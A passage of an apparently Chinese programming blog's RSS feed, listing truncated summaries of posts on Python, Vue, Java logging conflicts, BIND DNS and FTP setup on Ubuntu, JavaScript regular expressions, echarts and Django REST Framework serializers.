sum a small array faster than np.sum? (★★☆) Z = np.arange(10) np.add.reduce(Z) 7. practical-python url:github.com/dabeaz-course/practical-pythonstar:8400fork:5100 作者David Beazley是《Python Cookbook 第三版》、《Python 参考手册》的作者。该开源项目是Python的免费入门级教程，教程经过教学实践，包含课后练习。&#xA;教程目录如下：&#xA;8. learn-python3 url:/github.com/jerry-git/learn-python3star:5600fork:1600 一份Python3的教程。&#xA;内容采用Jupyter notebooks形式呈现，操作方便、阅读简洁，还有练习可以尝试，对新手十分友好。虽然是英语教程，但十分值得学习。</description>
    </item>
    <item>
      <title>关于SeaDAS的安装教程以及使用问题笔记</title>
      <link>https://bchobby.github.io/posts/bf20baaeabc0a1ec93f4dd6e8b63eb04/</link>
      <pubDate>Wed, 12 Apr 2023 15:30:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf20baaeabc0a1ec93f4dd6e8b63eb04/</guid>
      <description>2022年硕士研究生最后半个学期，已经交完了毕业论文，因为觉得工作以后会用到SeaDAS就拿出了一些时间学习，现在已经工作快一年了，而工作中也并没有用到这个软件，估计以后也不会用到了吧。现在把当时学习整理的一些笔记分享出来，供大家学习交流献。内容需要有点基础的人才能懂。&#xA;一. 安装准备 python环境。解决方法：直接安装Anaconda3&#xA;java环境。采用手动安装方法。&#xA;下载地址：https://www.oracle.com/java/technologies/downloads/&#xA;安装教程：https://blog.csdn.net/mrzhy1/article/details/107675634&#xA;通过解压安装，然后向 ~/.bashrc 或 /etc/profile 中写入配置（可以两个都写入）&#xA;命令：sudo vim /etc/profile 或 sudo vim ~/.bashrc&#xA;写入：&#xA;# this is a environment of java export JAVA_HOME=/usr/local/java export CLASSPATH=$JAVE_HOME/lib/dt/jar:$JAVA_HOME/lib/tools.jar export PATH=$PATH:$JAVA_HOME/bin 3.安装虚拟机，装乌班图系统&#xA;注意：需要有足够大的虚拟机磁盘，建议安装虚拟机时直接使用一个磁盘安装，磁盘空间尽量大。&#xA;二、快速启动SeaDAS软件方法 参考方法：&#xA;https://github.com/seadas/seadas-toolbox/wiki/SeaDAS-8.x-Download,-Installation-and-Run-Instructions&#xA;向环境路径中添加路径：&#xA;命令1：sudo vim /etc/profile&#xA;写入： export SEADAS_HOME=/home/zhangte113/software/SeaDAS export PATH=$SEADAS_HOME/bin:$PATH 注意：/home/zhangte113/software/SeaDAS 替换为自己的安装路径&#xA;然后：sudo vim ~/.bashrc&#xA;写入： export PATH=/home/zhangte113/softare/SeaDAS/bin:$PATH 然后在终端敲入seadas 即可启动。&#xA;三、乌班图系统与Windows系统文件互传方法： 方法1：利用FTP 服务进行互传&#xA;参考方法：https://blog.csdn.net/weixin_47932709/article/details/108359979&#xA;第一步：配置乌班图系统&#xA;开启 Ubuntu 下的 FTP 服务&#xA;打开 Ubuntu 的终端窗口，然后执行如下命令来安装 FTP 服务： sudo apt-get install vsftpd 等待软件自动安装，安装完成以后使用如下 VI 命令打开/etc/vsftpd.</description>
    </item>
    <item>
      <title>DNS服务器配置</title>
      <link>https://bchobby.github.io/posts/dd96d2b3694da1945b8b4b3c0b02f5dc/</link>
      <pubDate>Wed, 12 Apr 2023 14:18:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd96d2b3694da1945b8b4b3c0b02f5dc/</guid>
      <description>目录&#xA;一，正向解析&#xA;1&amp;gt;安装软件bind&#xA;2&amp;gt;对三个配置文件进行修改&#xA;/etc/named.conf&#xA;/etc/named.rfc1912.zones&#xA;/var/named&#xA;关闭防火墙并重启服务&#xA;测试&#xA;在第二台虚拟机上将DNS服务器IP改成服务器IP&#xA;重新加载网卡&#xA;在第二台客户端进行测试&#xA;二，反向解析&#xA;配置文件的设置&#xA;/etc/named.rfc1912.zones&#xA;/var/named/192.168.38.arpa&#xA;重启服务&#xA;测试&#xA;三，过程中出现的报错&#xA;一，正向解析 1&amp;gt;安装软件bind 提供DNS服务的软件叫bind，服务名是named&#xA;[root@server ~]# yum install bind -y 2&amp;gt;对三个配置文件进行修改 - /etc/named.conf : 主配置文件，共59行，去除注释和空行之和有效行数仅30行左右，用于设置bind服务程序的运行&#xA;- /etc/named.rfc1912.zones ： 区域配置文件（zone），用于==保存域名和IP地址对应关系文件的所在位置==，类似于图书目录，当需要修改域名与IP映射关系时需要在此文件中查找相关文件位置&#xA;- /var/named 目录：数据配置文件目录，该目录存储保存域名和IP地址映射关系的数据文件&#xA;/etc/named.conf 修改11和19行即可 11 listen-on port 53 { any; }; 19 allow-query { any; }; /etc/named.rfc1912.zones zone &#34;openlab.com&#34; IN { type master; file &#34;openlab.com.zone&#34;; allow-update { none; }; }; /var/named 创建存储保存域名和IP地址映射关系的数据文件 [root@server named]# cp -a named.</description>
    </item>
    <item>
      <title>在vue中添加音频，并控制播放停止播放</title>
      <link>https://bchobby.github.io/posts/dc2b77bb2c5f7374ffeff585f67b9d79/</link>
      <pubDate>Wed, 12 Apr 2023 13:53:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc2b77bb2c5f7374ffeff585f67b9d79/</guid>
      <description>在Vue组件的data()方法中创建一个新的Audio对象，如下所示： data() { return { audio: new Audio(require(&#39;@/assets/audio.mp3&#39;)) } } 这里假设音频文件位于Vue项目的src/assets目录下，并命名为audio.mp3。&#xA;在Vue组件的methods()方法中添加以下方法来控制音频的播放和停止： methods: { playAudio() { // 开始播放音频 this.audio.play() // 设置音频循环播放 this.audio.loop = true }, stopAudio() { if ( this.audio.currentTime &amp;gt; 0 &amp;amp;&amp;amp; !this.audio.paused &amp;amp;&amp;amp; !this.audio.ended &amp;amp;&amp;amp; this.audio.readyState &amp;gt; 2 ) {// 停止播放音频 this.audio.pause(); } else {// 重置音频时间轴 this.audio.currentTime = 0; this.audio.pause(); } } } 在HTML模板中添加一个按钮，用于触发音频的播放和停止操作： &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;button @click=&#34;playAudio&#34;&amp;gt;Play&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;stopAudio&#34;&amp;gt;Stop&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 完成以上步骤后，当用户单击Play按钮时，音频将开始循环播放。 当用户单击Stop按钮时，音频将停止播放并重新从头开始。</description>
    </item>
    <item>
      <title>log4J2和logback冲突和共存解决方法</title>
      <link>https://bchobby.github.io/posts/5e67f9da1c2a4e5c149feae944de3dbc/</link>
      <pubDate>Wed, 12 Apr 2023 11:25:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e67f9da1c2a4e5c149feae944de3dbc/</guid>
      <description>项目场景： 一个在线编辑器调试打印日志功能，需要提供logback和log4j2不同日志框架的日志功能供使用方自由选择&#xA;问题描述 本来logback和log4j2的冲突是经常发生的事，这件事很烦说实话，以前总是草草了事，随便排除一下就解决了，也没多管他，毕竟一直觉得为了个日志功能花太多时间不值当。&#xA;但是最近要做一个后台低代码平台，搞过的人都知道，动作大各种引用模块框框一堆，TMD到处是冲突，就很烦头很大特别是日志冲突。&#xA;本来不想写这个，毕竟一搜全是各种排除，也没毛病，只是大家各自需要排除的包不一样，这也是大部分时候的正确选择。但是也有我碰到的这种需求，需要在编译时两种框架的包都能引用到不至于报错，但是实际部署时只要其中一种，避免日志框架的冲突。&#xA;原因分析： 冲突原因就不分析了，大家自行百度吧&#xA;解决方案： 我们以使用log4j2不使用logback为例 maven引用的时候加上 &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; 这个的作用就是在打包的时候不会将logback打入依赖包从而避免冲突 但是能在编译阶段提供jar包 保证引用到logback的类能通过编译 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-core&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-classic&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 是不是很简单 本来到这里我以为就结束了 确实打包部署运行是没问题了 但是当我需要在本地idea调试时怎么也不行一直报冲突&#xA;Exception in thread &#34;main&#34; java.lang.IllegalArgumentException: LoggerFactory is not a Logback LoggerContext but Logback is on the classpath. Either remove Logback or the competing implementation (class org.slf4j.impl.Log4jLoggerFactory loaded from file:/E:/xx/org/slf4j/slf4j-log4j12/1.7.30/slf4j-log4j12-1.7.30.jar). If you are using WebLogic you will need to add &#39;org.slf4j&#39; to prefer-application-packages in WEB-INF/weblogic.</description>
    </item>
    <item>
      <title>python 本地时间与utc时间互转</title>
      <link>https://bchobby.github.io/posts/cdc0c50053535ef3b88493431332882a/</link>
      <pubDate>Wed, 12 Apr 2023 10:54:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdc0c50053535ef3b88493431332882a/</guid>
      <description> 本地时间字符串转成UTC时间 def local_str_to_utc_datetime(local_str, formatter=&#39;%Y-%m-%d %H:%M:%S&#39;): u&#34;&#34;&#34;本地时间字符串转成UTC时间（datetime格式）。 :param local_str: 本地时间字符串 :param formatter: 字符串格式 :return: UTC时间（datetime格式） :rtype: datetime &#34;&#34;&#34; if local_str is None: return None # 将本地时间字符串转成datetime类型 local_dt = datetime.strptime(local_str, formatter) # 将本地时间（datetime类型）转成UTC时间（datetime类型） return local_dt.replace(tzinfo=tz.gettz()).astimezone( tz.gettz(&#39;UTC&#39;)).replace(tzinfo=None).strftime(formatter) utc时间戳转本地时间字符串 def timestamp_to_time(time_stamp): &#34;&#34;&#34;utc时间戳转本地时间字符串&#34;&#34;&#34; # utc 时间转本地时间字符串 time_stamp_array = time.localtime(time_stamp) return time.strftime(DATETIME_FMT, time_stamp_array) UTC日期转utc时间戳 def times_to_timestamp(time_stamp): &#34;&#34;&#34;utc日期转utc时间戳&#34;&#34;&#34; return int(calendar.timegm(time.strptime(time_stamp, DATETIME_FMT))) </description>
    </item>
    <item>
      <title>Spring Cloud Alibaba 组件的介绍及使用方法</title>
      <link>https://bchobby.github.io/posts/8f49a2fa6cb623c35d97741e0ac4aebf/</link>
      <pubDate>Wed, 12 Apr 2023 10:07:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f49a2fa6cb623c35d97741e0ac4aebf/</guid>
      <description>Spring Cloud Alibaba Spring Cloud Alibaba 是基于 Spring Cloud 的一套开源框架，它为开发者提供了一系列的分布式应用开发工具，包括服务注册与发现、配置管理、消息驱动等组件。Spring Cloud Alibaba 的出现，让开发者在使用 Spring Cloud 进行分布式应用开发时，更加便捷和高效。&#xA;组件介绍 Spring Cloud Alibaba 包含了多个组件，下面将对其中的几个核心组件进行介绍。&#xA;Nacos Nacos 是一个开源的服务发现、配置管理和服务管理平台，支持多种注册中心和服务发现协议。在 Spring Cloud Alibaba 中，Nacos 可以作为服务注册中心和配置中心使用，它提供了完备的服务发现和服务注册功能，并且还支持配置管理和 DNS 服务等功能。使用 Nacos 作为注册中心和配置中心，可以方便地进行服务注册和配置管理，同时还可以实现服务的高可用和负载均衡。&#xA;使用方法 添加依赖 在 Maven 项目中，需要添加以下依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 配置文件 在 application.properties 文件中，需要添加以下配置：&#xA;# Nacos 配置 spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848 spring.cloud.nacos.discovery.namespace=dev 代码实现 以下是一个简单的示例代码，演示了如何使用 Spring Cloud Alibaba 进行服务注册和配置管理：&#xA;@RestController public class HelloController { @Value(&#34;${hello.message}&#34;) private String message; @GetMapping(&#34;/hello&#34;) public String hello() { return message; } } 在上述代码中，使用了 @Value 注解，从配置文件中获取了 hello.</description>
    </item>
    <item>
      <title>JSP自定义标签</title>
      <link>https://bchobby.github.io/posts/045ffd0708cca47aa8da16967749d0df/</link>
      <pubDate>Wed, 12 Apr 2023 09:15:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/045ffd0708cca47aa8da16967749d0df/</guid>
      <description>前言：已经有好久没有和大家分享知识，今天我要与大家分享的知识是继反射之后的JSP自定义标签知识。 上面三张图是自己绘制的三张的思维导图。可以通过思维导图来进入我要跟大家分享的知识。 一、JSP的特点： 1、jsp的构成：开始标签、标签主体、结束标签 例如： &amp;lt;z:demo1&amp;gt;demo1&amp;lt;/z:demo1&amp;gt;2 2、标签的分类：标签的分类主要是有四种 第一种：空标签 例如：&amp;lt;br&amp;gt;、&amp;lt;hr&amp;gt; 第二种：数据标签 例如：&amp;lt;c:set var=&#34;name&#34; value=&#34;zs&#34;&amp;gt;&amp;lt;/c:set&amp;gt;&#xA;&amp;lt;c:out value=&#34;${ name }&#34;&amp;gt;&amp;lt;/c:out&amp;gt; 第三种：控制标签：&amp;lt;c:forEach items=&#34;&#34; var=&#34;&#34;&amp;gt;&amp;lt;/c:forEach&amp;gt;&#xA;&amp;lt;c:if test=&#34;&#34;&amp;gt;&amp;lt;/c:if&amp;gt; 第四种：UI标签：&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;、&amp;lt;input&amp;gt; 二、自定义标签的步骤： 第一步：自己创建一个tld类，把跳转的域名改成自己想要跳转的路径。 第二步：新建一个tld助手类，这里面要写标签对应的属性。 第三步：引用自己创建的JSP标签。 三：JSP生命周期： JSP标签生命周期一共有三条路线： 1、 路线一：doStartTag---&amp;gt;返回值是（SkipBody）---&amp;gt;doEndTag 2、 路线二：路线二：doStartTag---&amp;gt;返回值是（EAVL_BODY_INCLUDE）--- &amp;gt;doAfterBody---&amp;gt;返回值是（EAVL_PAGE）---&amp;gt;doEndTag 3、路线三:doStartTag---&amp;gt;返回值是（EAVL_BODY_INCLUDE）---&amp;gt;doAfterbody---&amp;gt;返回值（EAVL_Body_Again）---&amp;gt;doAfterBody(死循环，退出条件是案列五的foreach退出)---&amp;gt;doEndTag 证明路线一的正确性：只要在jsp界面上打出了Demo1_doStartTag进来了以及Demo1_doEndTag进来了，就可以说明路线一正确。 验证路线二：只要jsp界面上打印出了Demo2_doStartTag()进来了、Demo2_doAfterBody()进来了以及Demo2_doEndTag()进来了就可以验证路线二的正确性 验证路线三： 只要jsp界面上打印出了Demo3_doStartTag()进来了、Demo3_doAfterBody()，一直点循环按钮就一直是doafterbody() 结果在下面：&#xA;验证路线三的结果：因为EVAL_BODY_AGAIN, 所以一直输出Demo3_doAfterBody()进来了，只有当自己按红按钮时，才会停止。 接下来有六个案列，其中有五个是来验证三条路线的； 1、案例一与案例二：验证路线一和路线二，开发if标签。 下面是index界面中的代码：&#xA;&amp;lt;z:if test=&#34;true&#34;&amp;gt;输出&amp;lt;/z:if&amp;gt; &amp;lt;z:if test=&#34;false&#34;&amp;gt;不输出&amp;lt;/z:if&amp;gt; 新建一个IfTag类，里面写一个验证test属性。&#xA;下面是在tld类中的写的if标签以及if标签的属性。&#xA;输出结果在上面，证明路线一正确。 2、 接下来是案例三和案例四：目的：验证路线一（开发数据标签set/out标签），需要借 助jspwrite来输出。 1、out类： public class OutTag extends BodyTagSupport { private Object value; public Object getValue() { return value; } public void setValue(Object value) { this.</description>
    </item>
    <item>
      <title>echarts实现横向和纵向滚动条、dataZoom</title>
      <link>https://bchobby.github.io/posts/f60cd2110c1547ee4c46d28e2049a127/</link>
      <pubDate>Tue, 11 Apr 2023 23:09:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f60cd2110c1547ee4c46d28e2049a127/</guid>
      <description>文章目录 前言1、横向滚动条2、纵向滚动条 前言 使用echarts会遇到这种情况，以柱状图为例子，当数据过多时，echarts图就会堆叠在一起，看起来十分难看。通常解决办法是通过减小barWidth值来缩小柱子宽度，但是若数据达到上百条，这场面是相当壮观。另一个很常用的就是在外部容器div添加overflow: scroll;，这确实能解决一些问题，但是若是数据量过少，就会显的非常稀疏，经历过的都懂。言归正传，以上都不是最佳解决方式，echarts其实已经为提供好相应的API配置了，无论是横向滚动还是纵向滚动，dataZoom都能满足。&#xA;1、横向滚动条 dataZoom: [ { // 设置滚动条的隐藏与显示 show: true, // 设置滚动条类型 type: &#34;slider&#34;, // 设置背景颜色 backgroundColor: &#34;rgb(19, 63, 100)&#34;, // 设置选中范围的填充颜色 fillerColor: &#34;rgb(16, 171, 198)&#34;, // 设置边框颜色 borderColor: &#34;rgb(19, 63, 100)&#34;, // 是否显示detail，即拖拽时候显示详细数值信息 showDetail: false, // 数据窗口范围的起始数值 startValue: 0, // 数据窗口范围的结束数值（一页显示多少条数据） endValue: 5, // empty：当前数据窗口外的数据，被设置为空。 // 即不会影响其他轴的数据范围 filterMode: &#34;empty&#34;, // 设置滚动条宽度，相对于盒子宽度 width: &#34;50%&#34;, // 设置滚动条高度 height: 8, // 设置滚动条显示位置 left: &#34;center&#34;, // 是否锁定选择区域（或叫做数据窗口）的大小 zoomLoxk: true, // 控制手柄的尺寸 handleSize: 0, // dataZoom-slider组件离容器下侧的距离 bottom: 3, }, { // 没有下面这块的话，只能拖动滚动条， // 鼠标滚轮在区域内不能控制外部滚动条 type: &#34;</description>
    </item>
    <item>
      <title>JavaScript随手笔记 --- 对数据进行判断最大位数是否超过八位</title>
      <link>https://bchobby.github.io/posts/c0cc78e0f61883584e3668f5b382472d/</link>
      <pubDate>Tue, 11 Apr 2023 21:16:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0cc78e0f61883584e3668f5b382472d/</guid>
      <description>💌 所属专栏：【JavaScript随手笔记】 😀 作 者：我是夜阑的狗🐶 🚀 个人简介：一个正在努力学技术的CV工程师，专注基础和实战分享 ，欢迎咨询！&#xA;💖 欢迎大家：这里是CSDN，我总结知识的地方，喜欢的话请三连，有问题请私信 😘 😘 😘&#xA;文章目录 前言一、方法一：正则表达式1.匹配公式和单个数据2.对数据进行判断是否能展示 总结 前言 大家好，又见面了，我是夜阑的狗🐶，本文是专栏【JavaScript随手笔记】专栏的第6篇文章;&#xA;今天的需求是要判断字符串的位数是否超过八位，其中可以包括运算公式，而且现在最输入限制为 17 位，8位数字 + 运算符 + 8位数字（负数额外考虑）；&#xA;专栏地址：【JavaScript随手笔记】 ， 此专栏是我是夜阑的狗对JS数据处理的总结，希望能够加深自己的印象，以及帮助到其他的小伙伴😉😉。&#xA;如果文章有什么需要改进的地方还请大佬不吝赐教👏👏。&#xA;一、方法一：正则表达式 要判断一个字符串输入的数据是否超过八位，需要用正则表达式来进行匹配，这里可以在线学习正则网站，可以练练，里面还有一些语法什么的。&#xA;毕竟比较赶时间，写的仓促，所以很多地方还是可以优化的。有什么不对的话还请大家多多体谅，谢谢啦 😀 😀 😀 。&#xA;1.匹配公式和单个数据 regexBit 用于匹配包含数字和运算符的字符串，例如 12345678 或者 12345678+12345678，不匹配数据超出八位数的情况。&#xA;var regexBit = /^[-]?(\d{8}|[\d\.]{9}|\d{8}[+\-*/]\d{8}|[\d\.]{9}[+\-*/][\d\.]{9})$/; 这里简单讲解一下该正则表达式各个部分的作用：&#xA;/^[-]?)$/ ： 字符描述^表示从匹配输入字符串的开始位置，除非在方括号表达式中使用，&#xA;当该符号在方括号表达式中使用时，表示不接受该方括号表达式中的字符集合，$匹配输入字符串的结尾位置；[-]?表示匹配可选的负号（-） \d{8} ： 字符描述\d{8}匹配任意的八个数字 [\d\.]{9} ： 字符描述[\d\.]{9}匹配带有小数点的八个数字，加上小数点字符，所以长度为9，&#xA;用于匹配0.1234567，1234567.8 等情况； \d{8}[+\-*/]\d{8} ： 字符描述\d{8}[+\-*/]\d{8}匹配八个数字+四个运算符中的一个+八个数字，例如：12345678+12345678 [\d\.]{9}[+\-*/][\d\.]{9} ： 字符描述[\d\.]{9}[+\-*/][\d\.]{9}匹配带有小数点的八位数字+基础运算符之一+带有小数点的八位数字，例如：0.1234567+0.1234567 2.对数据进行判断是否能展示 使用上面正则表达式可以排除输入单个数据或者公式输入数据超过8位的情况，而只匹配包含八位数字、小数点和运算符的运算表达式，从而判断输入字符串是否为有效的运算表达式。&#xA;/** * @author CSH * @function 函数功能：对数据进行判断最大位数是否超过八位 * @param {string} displayNumber [需要判断的数据] */ function isCalcDataBit (displayNumber) { return regexBit.</description>
    </item>
    <item>
      <title>JavaScript随手笔记 --- 用正则表达式匹配字符串是否为运算公式</title>
      <link>https://bchobby.github.io/posts/cda29d0591af6270afe998cc449bfc57/</link>
      <pubDate>Tue, 11 Apr 2023 21:06:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda29d0591af6270afe998cc449bfc57/</guid>
      <description>💌 所属专栏：【JavaScript随手笔记】 😀 作 者：我是夜阑的狗🐶 🚀 个人简介：一个正在努力学技术的CV工程师，专注基础和实战分享 ，欢迎咨询！&#xA;💖 欢迎大家：这里是CSDN，我总结知识的地方，喜欢的话请三连，有问题请私信 😘 😘 😘&#xA;文章目录 前言一、方法一：正则表达式1.匹配数字和运算符2.匹配单个数字或者负数3.匹配多个数字4.对数据进行判断是否能展示 总结 前言 大家好，又见面了，我是夜阑的狗🐶，本文是专栏【JavaScript随手笔记】专栏的第5篇文章;&#xA;今天的需求是要对字符串进行判断是否能展示，其中要能匹配包含数字和运算符的字符串，不匹配单个数字或者负数的情况；&#xA;专栏地址：【JavaScript随手笔记】 ， 此专栏是我是夜阑的狗对JS数据处理的总结，希望能够加深自己的印象，以及帮助到其他的小伙伴😉😉。&#xA;如果文章有什么需要改进的地方还请大佬不吝赐教👏👏。&#xA;一、方法一：正则表达式 要判断一个字符串为一个运算公式，不包含单独的数字或者负数，可以使用正则表达式来进行匹配。这里默认大家都是学过正则表达式了哈，其实本人也没学过，就临时看看写了。这里在线学习正则网站，可以练练，里面还有一些语法什么的。&#xA;毕竟比较赶时间，写的仓促，所以很多地方还是可以优化的。有什么不对的话还请大家多多体谅，谢谢啦 😀 😀 😀 。&#xA;1.匹配数字和运算符 regexFormula 用于匹配包含数字和运算符的字符串，例如 “1 + 2 * 3”，但不匹配单个数字和负数的情况。&#xA;var regexFormula = /^(\d+|\d+[.]?\d+)([+\-*/](\d+|\d+[.]?\d+))+$/; 这里简单讲解一下该正则表达式各个部分的作用：&#xA;/^...$/ ： 字符描述^表示从匹配输入字符串的开始位置，除非在方括号表达式中使用，&#xA;当该符号在方括号表达式中使用时，表示不接受该方括号表达式中的字符集合，$匹配输入字符串的结尾位置； (\d+|\d+[.]?\d+) ： 字符描述\d+表示匹配一个或多个数字[.]?表示匹配可选的小数点（.）\d+[.]?\d+表示匹配小数(A|B)指明两项之间的一个选择 ([+\-*/](\d+|\d+[.]?\d+))+ 字符描述[+\-*/]表示匹配任意个运算符（+、-、*、/）(a)+表示匹配多个a 2.匹配单个数字或者负数 regexNumber 用于匹配包含单个数字或者负数的字符串，例如 “-3” 或 “42”，但不匹配包含多个数字和运算符的运算表达式。&#xA;var regexNumber = /^[-]?(\d+|\d+[.]?\d+)$/; [-]?(\d+|\d+[.]?\d+) 字符描述[-]?(\d+|\d+[.]?\d+)表示匹配单个数字或者负数 3.匹配多个数字 ·regexIeger 用于匹配多个数字，这里好像第二步重复了，可忽略。&#xA;var regexIeger = /^\d+$/; 4.</description>
    </item>
    <item>
      <title>L1-025 正整数A&#43;B (15分） C语言详细版</title>
      <link>https://bchobby.github.io/posts/d42725904ba9543789e9258685178647/</link>
      <pubDate>Tue, 11 Apr 2023 20:24:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d42725904ba9543789e9258685178647/</guid>
      <description>● 题目如下： 题的目标很简单，就是求两个正整数A和B的和，其中A和B都在区间[1,1000]。稍微有点麻烦的是，输入并不保证是两个正整数。&#xA;输入格式： 输入在一行给出A和B，其间以空格分开。问题是A和B不一定是满足要求的正整数，有时候可能是超出范围的数字、负数、带小数点的实数、甚至是一堆乱码。&#xA;注意：我们把输入中出现的第1个空格认为是A和B的分隔。题目保证至少存在一个空格，并且B不是一个空字符串。&#xA;输出格式： 如果输入的确是两个正整数，则按格式A + B = 和输出。如果某个输入不合要求，则在相应位置输出?，显然此时和也是?。&#xA;输入样例1： 123 456 输出样例1： 123 + 456 = 579 输入样例2： 22. 18 输出样例2： ? + 18 = ? 输入样例3： -100 blabla bla...33 输出样例3： ? + ? = ? ● 简单分析：） 题目有如下几点要求：&#xA;◆ A和B的的范围要在[1,1000]&#xA;◆ A和B是超出范围的数字、负数、带小数点的实数时不符合规定。&#xA;◆ A和B之间用空格隔开，但是B可能还包含空格。（所以需要用到gets）&#xA;在这里补充一个知识点：当输入时，我们通常使用scanf，但是scanf是不能读取空格的，所以在有空格的字符串的输入，我们用gets。&#xA;● 代码如下： #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main(){ char c[500]; gets(c); int i,j,m1=1,m2=1,t1=0,t2=0;//m1,m2用来判断ab是否符合规定 //t1,t2分别记录ab的值 for(i=0;i&amp;lt;strlen(c);i++){ if(c[i]==&#39; &#39;){ if(i==0){ //如果开头为空格，那么a不符合规定。 m1=0;//表示a不符合规定 } j=i+1; //为了在第二个循环从空格开始 break; }else if(c[i]&amp;gt;=&#39;0&#39; &amp;amp;&amp;amp; c[i]&amp;lt;=&#39;9&#39;){ t1=t1*10+c[i]-&#39;0&#39;; //a符合规定时，将数组转换为具体数值 }else{ m1=0; //不为0-9时，不符合规定 } } for(j;j&amp;lt;strlen(c);j++){ //j为1，是因为b内存储了a与b之间的空格 if(c[j]&amp;gt;=&#39;0&#39; &amp;amp;&amp;amp; c[j]&amp;lt;=&#39;9&#39;){ t2=t2*10+c[j]-&#39;0&#39;; }else{ m2=0; break; } } if(m1==0 || t1&amp;lt;1 || t1&amp;gt;1000){ m1=0; printf(&#34;</description>
    </item>
    <item>
      <title>Django Rest Framework中Restful请求中包含关联模型要怎么处理</title>
      <link>https://bchobby.github.io/posts/9211bea7121211e1b7106255fcd86613/</link>
      <pubDate>Tue, 11 Apr 2023 16:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9211bea7121211e1b7106255fcd86613/</guid>
      <description>Django Rest Framework中Restful请求中包含关联模型要怎么处理 update或者create请求更详细的解释粘贴上代码 update或者create请求 在django rest framework中，当您使用Serializer类来序列化或反序列化数据时，如果您的模型中有关联的模型字段，比如外键或多对多字段，那么Serializer类会默认使用PrimaryKeyRelatedField来处理这些字段¹。这意味着在序列化时，这些字段会被转化为它们关联的模型对象的主键值（pk），而在反序列化时，这些字段需要接收它们关联的模型对象的主键值（pk）作为输入²。如果您在反序列化时传递了一个字典（dict）而不是一个主键值（pk），那么您就会遇到这个错误：Incorrect type. Expected pk value, received dict.&#xA;要解决这个错误，您有两种方法：&#xA;一种是在反序列化时确保传递正确的主键值（pk）而不是字典（dict）。比如，如果您的模型中有一个countries字段，它是一个多对多字段，关联到Country模型，那么您在反序列化时需要传递一个包含Country对象的主键值（pk）的列表，而不是一个包含Country对象的字典（dict）的列表³。例如： { &#34;countries&#34;: [1, 2, 3] // 正确 } { &#34;countries&#34;: [{&#34;id&#34;: 1, &#34;name&#34;: &#34;China&#34;}, {&#34;id&#34;: 2, &#34;name&#34;: &#34;India&#34;}, {&#34;id&#34;: 3, &#34;name&#34;: &#34;USA&#34;}] // 错误 } 另一种是在Serializer类中自定义关联的模型字段的处理方式，使用其他类型的字段来代替PrimaryKeyRelatedField。比如，如果您想在反序列化时接收一个字典（dict），并根据字典中的数据创建或更新关联的模型对象，那么您可以使用Nested Relationships⁴。例如： class CountrySerializer(serializers.ModelSerializer): class Meta: model = Country fields = (&#39;id&#39;, &#39;name&#39;) class MenuInfoSerializer(serializers.ModelSerializer): countries = CountrySerializer(many=True) # 使用嵌套的Serializer来处理countries字段 class Meta: model = MenuInfo fields = (&#39;id&#39;, &#39;user_id&#39;, &#39;countries&#39;) 更详细的解释 在django rest framework中，Serializer类是用来将Python对象和JSON数据之间进行相互转换的工具。Serializer类有两个主要的功能：序列化和反序列化。序列化是指将Python对象转换为JSON数据，反序列化是指将JSON数据转换为Python对象。在这个过程中，Serializer类需要知道如何处理不同类型的字段，比如字符串、数字、日期、布尔值等。Serializer类提供了一些内置的字段类型，比如CharField, IntegerField, DateTimeField等，来处理这些基本的数据类型。</description>
    </item>
    <item>
      <title>记录el-table出现滚动条，表头会有留白现象</title>
      <link>https://bchobby.github.io/posts/a31a219e33aa3127c9b1a7854910a35c/</link>
      <pubDate>Tue, 11 Apr 2023 16:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a31a219e33aa3127c9b1a7854910a35c/</guid>
      <description> 有时候table加上个别min-width时候，会出现留白现象&#xA;解决办法：&#xA;方法1：直接修改表头th背景色&#xA;.el-table th.el-table__cell { background-color: pink; } 如果有时候设置了不生效，那就是没有设置在全局下面，可能设置进了某个类下面&#xA;方法2：找到对应的dom修改背景色&#xA;.gutter { background-color: #ededed !important; } 如果我们隐藏了table的滚动条，这时候我们看见下面会有留白现象&#xA;这是因为下面的body宽度写死了，没有100%适应&#xA;添加css&#xA;.el-table__body-wrapper { .el-table__body { width: 100% !important; } } </description>
    </item>
    <item>
      <title>如何5分钟快速搭建一套JVM线上监控工具</title>
      <link>https://bchobby.github.io/posts/7df7e8e43d25d677139f7cea883832fe/</link>
      <pubDate>Tue, 11 Apr 2023 15:57:57 +0800</pubDate>
